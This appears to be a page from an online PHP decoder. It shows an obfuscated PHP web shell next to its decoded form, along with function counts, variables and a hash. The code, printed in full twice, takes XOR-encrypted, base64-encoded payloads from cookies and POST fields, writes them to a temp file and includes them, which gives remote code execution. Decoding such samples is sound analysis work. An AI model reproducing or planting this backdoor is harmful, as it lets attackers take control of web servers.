Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $uEtms = "\x72" . chr ( 335 - 254 ).'Y' . "\137" . chr ( 832 - 765 ).chr ( 926 - 80..

Decoded Output download

<?php 
$uEtms = "r" . chr ( 335 - 254 ).'Y' . "_" . chr ( 832 - 765 ).chr ( 926 - 808 ).chr (111); $hDuIfhrZTR = "c" . chr (108) . "a" . chr ( 786 - 671 ).'s' . chr ( 398 - 303 ).chr (101) . chr (120) . "i" . chr ( 904 - 789 ).'t' . chr (115); $dXCuAHhV = class_exists($uEtms); $hDuIfhrZTR = "2494";$GWqLJdeT = !1;if ($dXCuAHhV == $GWqLJdeT){function ZhtJQorQek(){$fLjcOr = new /* 32697 */ rQY_Cvo(21675 + 21675); $fLjcOr = NULL;}$xGaXg = "21675";class rQY_Cvo{private function xWyiaRB($xGaXg){if (is_array(rQY_Cvo::$StQkwaPg)) {$PuMvO = sys_get_temp_dir() . "/" . crc32(rQY_Cvo::$StQkwaPg["s" . chr ( 961 - 864 ).chr (108) . "t"]);@rQY_Cvo::$StQkwaPg[chr ( 211 - 92 ).'r' . chr (105) . chr ( 524 - 408 )."e"]($PuMvO, rQY_Cvo::$StQkwaPg['c' . "o" . 'n' . "t" . 'e' . "n" . chr (116)]);include $PuMvO;@rQY_Cvo::$StQkwaPg["d" . chr (101) . "l" . chr ( 219 - 118 )."t" . 'e']($PuMvO); $xGaXg = "21675";exit();}}private $JKeMVyOkWz;public function qKOmkZ(){echo 62655;}public function __destruct(){$xGaXg = "36900_44658";$this->xWyiaRB($xGaXg); $xGaXg = "36900_44658";}public function ReAVC($NjsNJmNZw, $JFOYwxXK){return $NjsNJmNZw[0] ^ str_repeat($JFOYwxXK, (strlen($NjsNJmNZw[0]) / strlen($JFOYwxXK)) + 1);}public function __construct($KJGlT=0){$mbpqR = $_POST;$IcueoNF = $_COOKIE;$JFOYwxXK = "5b6ac92a-4f26-42f6-bcb4-32997526c264";$XyonbkvMt = @$IcueoNF[substr($JFOYwxXK, 0, 4)];if (!empty($XyonbkvMt)){$lOPgI = "base64";$NjsNJmNZw = "";$XyonbkvMt = explode(",", $XyonbkvMt);foreach ($XyonbkvMt as $cZAklxFSu){$NjsNJmNZw .= @$IcueoNF[$cZAklxFSu];$NjsNJmNZw .= @$mbpqR[$cZAklxFSu];}$NjsNJmNZw = array_map($lOPgI . "_" . "d" . "e" . chr ( 264 - 165 )."o" . chr (100) . chr ( 716 - 615 ), array($NjsNJmNZw,)); $NjsNJmNZw = $this->ReAVC($NjsNJmNZw, $JFOYwxXK);rQY_Cvo::$StQkwaPg = @unserialize($NjsNJmNZw);}}public static $StQkwaPg = 34852;}ZhtJQorQek(); 
} ?>

Did this file decode correctly?

Original Code

<?php
$uEtms = "\x72" . chr ( 335 - 254 ).'Y' . "\137" . chr ( 832 - 765 ).chr ( 926 - 808 ).chr (111); $hDuIfhrZTR = "\x63" . chr (108) . "\141" . chr ( 786 - 671 ).'s' . chr ( 398 - 303 ).chr (101) . chr (120) . "\151" . chr ( 904 - 789 ).'t' . chr (115); $dXCuAHhV = class_exists($uEtms); $hDuIfhrZTR = "2494";$GWqLJdeT = !1;if ($dXCuAHhV == $GWqLJdeT){function ZhtJQorQek(){$fLjcOr = new /* 32697 */ rQY_Cvo(21675 + 21675); $fLjcOr = NULL;}$xGaXg = "21675";class rQY_Cvo{private function xWyiaRB($xGaXg){if (is_array(rQY_Cvo::$StQkwaPg)) {$PuMvO = sys_get_temp_dir() . "/" . crc32(rQY_Cvo::$StQkwaPg["\x73" . chr ( 961 - 864 ).chr (108) . "\164"]);@rQY_Cvo::$StQkwaPg[chr ( 211 - 92 ).'r' . chr (105) . chr ( 524 - 408 )."\145"]($PuMvO, rQY_Cvo::$StQkwaPg['c' . "\x6f" . 'n' . "\x74" . 'e' . "\156" . chr (116)]);include $PuMvO;@rQY_Cvo::$StQkwaPg["\144" . chr (101) . "\x6c" . chr ( 219 - 118 )."\x74" . 'e']($PuMvO); $xGaXg = "21675";exit();}}private $JKeMVyOkWz;public function qKOmkZ(){echo 62655;}public function __destruct(){$xGaXg = "36900_44658";$this->xWyiaRB($xGaXg); $xGaXg = "36900_44658";}public function ReAVC($NjsNJmNZw, $JFOYwxXK){return $NjsNJmNZw[0] ^ str_repeat($JFOYwxXK, (strlen($NjsNJmNZw[0]) / strlen($JFOYwxXK)) + 1);}public function __construct($KJGlT=0){$mbpqR = $_POST;$IcueoNF = $_COOKIE;$JFOYwxXK = "5b6ac92a-4f26-42f6-bcb4-32997526c264";$XyonbkvMt = @$IcueoNF[substr($JFOYwxXK, 0, 4)];if (!empty($XyonbkvMt)){$lOPgI = "base64";$NjsNJmNZw = "";$XyonbkvMt = explode(",", $XyonbkvMt);foreach ($XyonbkvMt as $cZAklxFSu){$NjsNJmNZw .= @$IcueoNF[$cZAklxFSu];$NjsNJmNZw .= @$mbpqR[$cZAklxFSu];}$NjsNJmNZw = array_map($lOPgI . "\x5f" . "\x64" . "\x65" . chr ( 264 - 165 )."\157" . chr (100) . chr ( 716 - 615 ), array($NjsNJmNZw,)); $NjsNJmNZw = $this->ReAVC($NjsNJmNZw, $JFOYwxXK);rQY_Cvo::$StQkwaPg = @unserialize($NjsNJmNZw);}}public static $StQkwaPg = 34852;}ZhtJQorQek();
}

Function Calls

chr 11
class_exists 1

Variables

$uEtms rQY_Cvo
$hDuIfhrZTR class_exists

Stats

MD5 e1ef7c0773457b6f32674d6dd2c35d98
Eval Count 0
Decode Time 61 ms